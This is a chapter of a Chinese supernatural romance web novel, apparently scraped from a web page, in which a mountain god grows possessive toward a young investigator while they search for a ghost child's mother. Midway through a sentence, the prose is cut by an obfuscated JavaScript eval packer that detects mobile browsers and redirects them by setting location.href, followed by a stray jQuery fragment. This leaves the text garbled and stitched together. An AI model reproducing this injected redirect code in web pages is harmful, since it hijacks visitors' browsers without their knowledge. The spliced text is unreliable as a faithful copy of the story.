原来,这村子世世代代以种药为生,据说他们的祖先以出售蛊毒为业,一度戕害了附近地区无数人命。
最终被神降下惩罚,自此开始种植药草,为祖先犯下的错误赎罪。
而改过自新的祖先们为神打了石像,立了祠,每年阴历六月初五,要举办庆典祭祀神明,以表感恩和尊敬。
仪式繁复,每个村民都十分重视,因此每年都必须提前近半个月准备起来。
似乎就是寻常的习俗罢了,琮峥听完青年的介绍,礼貌道了谢。
他嗅到了一丝不寻常的气息,但仍装作毫无所察,他的目的是为卫灵峬找到噬情蛊的解药,其他的事情都要往后排。
琮峥正要开口询问,但感应到那铜铃铛被人摇响,他脸色一变,匆匆告辞。
卫灵峬等了许久,等得天都快黑了,自己都要睡着了,安安也开始闹脾气了,琮峥仍不见回来。
于是她大着胆子摇了摇铜铃,看看能不能把琮峥召唤出来。
卫灵峬数着秒数,十几秒过去了,琮峥还是没有出现,她嘟囔着用手指对着铃铛戳戳戳,铃铛发出铛铛铛的声音,像是在抗议。
忽地,一个人出现在卫灵峬面前,卫灵峬惊喜地从门槛上蹦起来,差点撞上琮峥的下巴。
而琮峥此时,风尘仆仆,面色铁青。
看清琮峥脸色那一刻,卫灵峬收敛了笑容,又像只鹌鹑低下了头。
琮峥原以为卫灵峬是出了事,没想到她是好端端地摇铃铛捉弄人,此时放下心来,却又带着一丝薄怒。
“好好的乱摇铃铛做什么?”
安安大气都不敢喘,卫灵峬声若蚊虫:“我在这里等了好久,大人您都没回来。”
看卫灵峬这可怜巴巴的胆小样,琮峥不禁审视了一下自己,有那么可怕吗?
他拉起卫灵峬的胳膊,临进门前还轻飘飘瞥了门口狻猊一眼,两只神采奕奕威风无比的家伙争先恐后地开始解释:“我们开门了,是她自己不进去,非要在这里等,大人明察!”
琮峥一挥手,两扇气派的大门缓缓合拢,将两只狻猊辩解的声音关在门外。
卫灵峬被琮峥拉着进了她的卧房,精美的屏风后面放着一只木桶,里面正有蒸汽缓缓冒出。
“等得累不累?冷不冷?先泡个澡驱驱寒。”琮峥正要往外走。
大夏天的冷什么冷。
卫灵峬拽住琮峥,仰起小脸,谄媚地眨巴着眼睛:“大人,我不冷也不热,此次来,一是上任,二是还有一事相求,希望大人帮忙。”
琮峥回身坐在凳子上,沏了一壶茶,奔波许久,此时觉得有些口干舌燥。
卫灵峬站在一旁,毕恭毕敬点头哈腰道:“安安,安安快问山神大人好。”
安安躲在卫灵峬后面,只肯露出一只眼睛看着琮峥。
卫灵峬尴尬地笑了一声,继续说道:“安安的妈妈,叫张艳萍,约三年前在仁爱妇科医院去世,这次所有魂魄里都没有她的妈妈,想看看从您这里转生的魂魄里有没有她妈妈,您可有登记造册什么的?”
琮峥抬手一抹,一部金光闪闪的册子便出现在二人面前。
他手指微动,很快便审阅完了那一年以及前后两年的所有魂魄,随后道:“没有这个人。”
安安眼神失望。
卫灵峬一着急就忘了顾礼法,挤到山神大人身边,认真地盯着那册子一个名字一个名字地看,看完就催着琮峥翻页。
琮峥有点走神。
他一向能一目十行,而此时,册子上的字好像一条条扭来扭去的小蛇,让他眼花缭乱。
不自觉地将注意力放在了一旁的女孩身上。
她正弯着腰,丝毫不设防地将白皙纤细的颈子展现在琮峥面前,就好像脆弱的小动物信任地将自己的喉管送到残忍的野兽面前。
琮峥的眸色逐渐变得幽深,一种近乎疯狂的占有欲肆虐在他的血液里,叫嚣着,怂恿着。
琮峥缓缓抬手,忍不住去触碰那一段白玉,动脉不停跳动着,似乎握上脖颈的瞬间,他便能完全掌握卫灵峬的身心。
忽然,卫灵峬扭头,琮峥的眼神瞬间变得清明,已经触上颈子的手改了动作,转而轻轻帮卫灵峬撩了撩头发。
卫灵峬似乎觉得有些奇怪,但还是忽略了这些小动作,叹了一口气道:“真的没有啊。”
琮峥道:“那便引她转世吧。”
安安一脸惊恐,吓得动都不敢动,卫灵峬老母鸡护崽子一样挡在安安前面:“不行!绝对不行!”
似乎注意到自己语气太强硬,又十分狗腿改了口:“大人,作为新时代的调查员,我们必须做到天理、法律、人情协调统一,让司法也有温度呀!我们先不送安安走了,她跟我住,保证不打扰您,好吗?等找到她的妈妈,送她们一起走。”
琮峥这神做得,十分随心所欲。
他既已是堕神,故而对自己分内之事也没怎么上心,调查局送来的魂魄,他堆成一堆,挑个空闲一挥手便送走了;
调查局解决不了的事,他亲自解决,肯投降的魂魄,他还给几分好脸色,不肯投降的魂魄,则是直接以暴制暴,管是魂飞魄散了还是送去转生了,反正麻烦解决了。
什么事情都不能耽误他回府喝酒抚琴睹画思人。
现在画里的人回来了,她总被这些无聊的请求绊住,他竟然也因此多了几分软心肠,肯“法外开恩”了。
琮峥微微颔首:“可以,它住另外那间厢房,最好不要吵吵闹闹的。”
卫灵峬歪头:“不麻烦大人了,她跟我住就好啦!”
琮峥盯着她,像是在斟酌语言,随后淡淡道:“跟你住不方便,还是分开。”
说罢,便出门了,卫灵峬看到斜对角那房间亮起了灯,只好把安安送了过去,幸好安安不怕黑,一个人睡也没什么。
只是回到房间之后,卫灵峬又暗自从琮峥那句话里咂摸出几分不对劲,不方便?不方便什么?
她回想起当时琮峥的眼神,总觉得他眼神里隐藏着侵略性,她摸摸下巴喊出一句“心机之蛙一直摸你肚子”,喊完又觉得自己十分中二且多疑,将疑问抛之脑后泡澡去了。
别说,琮峥弄的这大木桶泡着舒服极了,里面还飘着各种花瓣,卫灵峬简直感觉自己像古装剧里美丽高贵的妃子,闭上眼睛在脑海里幻想了一出凄婉的深宫大戏。
许久,她才舍得起身,依依不舍地吹干了头发。
要上床了才想起,忘了问问山神大人自己在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448117|167533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里主要的工作内容是什么,明天上岗第一天,一定要给山神大人留个好印象!
今日好像不同往常,山神大人的屋子以往都是整晚整晚亮着灯,今天熄灯倒是早,估计是睡了。
卫灵峬转身欲走,屋里却又点上了灯,琮峥衣袍不整,像是匆匆披上,他道:“过来。”
卫灵峬迟疑了一下,琮峥背对着光源,神色晦暗不清,她一时之间竟觉得有些危险。
见她不动弹,琮峥眯了眯眼,又将安安的事情摆出来:“安安那事,我又考虑了一下,觉得不妥。”
卫灵峬果然像只兔子一样急得蹿进了屋子,甚至还抓住琮峥的衣袖。
“大人,您不能出尔反尔!”
琮峥任她拉着,合上了门。
“可以不出尔反尔,但是我有要求。”他居高临下地俯视着卫灵峬,像看着自己的所有物。
卫灵峬傻眼了:“好、好吧,您说。”
他慢条斯理地坐下,抬眼。
“第一,叫我琮峥。”说罢便顿住了,盯着卫灵峬,静静地等待着什么。
怪!这要求太怪了!卫灵峬心里纠结,她的情魄被封,又哪能察觉到其中的缱绻意味,如果她此时是在上古修仙门派,已经修炼无情道功法大成了。
她只是本能地觉得奇怪。
“不敢直呼山神大人名讳。”她委婉拒绝道。
而琮峥依旧不说话,只是食指敲打着桌面,像是时针走动,又像是定时炸弹的倒计时。
他摄人心魄的眼睛似乎压抑着狂热,就那样一眨不眨地看着卫灵峬,卫灵峬妥协了。
“琮峥。”
说罢,她面色绯红,只感觉屋里又闷又热,竟然忽地闷哼一声,捂着心脏倒了下去。
琮峥眼疾手快地扯过卫灵峬,加固了对情魄的封印。
他将卫灵峬搂在怀里,看她苍白的面色逐渐好转,心里浮上内疚与自责,但是又夹杂着一种飘飘然的疯狂——她喜欢他,她不是没感觉。
卫灵峬恢复了力气,挣扎着要从琮峥怀里爬起来,但琮峥却按着她不让她动弹,而是自己起身坐在了一边。
卫灵峬问:“大人还有什么要求?”
琮峥脸上露出几分无可奈何,盯着卫灵峬看了半晌,卫灵峬被看得起了一身鸡皮疙瘩,有种被野兽盯上的怪异感。
许久,琮峥才微笑道:“暂且没想好,以后告诉你。”
卫灵峬点点头应下后,这才问出来这里的主要目的:“大人,我来府中供职,主要做些什么事情?您尽管安排。”
琮峥随意道:“没什么大事,你随心即可。明日我要引魂魄往生,你可前来学习观摩。”
听这意思,等于带薪休假呀?卫灵峬大喜过望,没想到在山神手底下做事这么轻松,那更可以天天泡在藏书阁里,学他个昏天黑地了。
卫灵峬喜滋滋地道了谢,哼着歌欢天喜地地回房了。
躺在床上,她高兴得半天才睡着。
在她睡着之后,一道身影忽然出现在床边,卫灵峬神经兴奋,睡得并不安稳,做了些千奇百怪的梦。
最讨厌的还是一只大蛇,将她紧紧缠住,越箍越紧,她都快要喘不上气来,那黑色的蟒蛇才终于放开了她。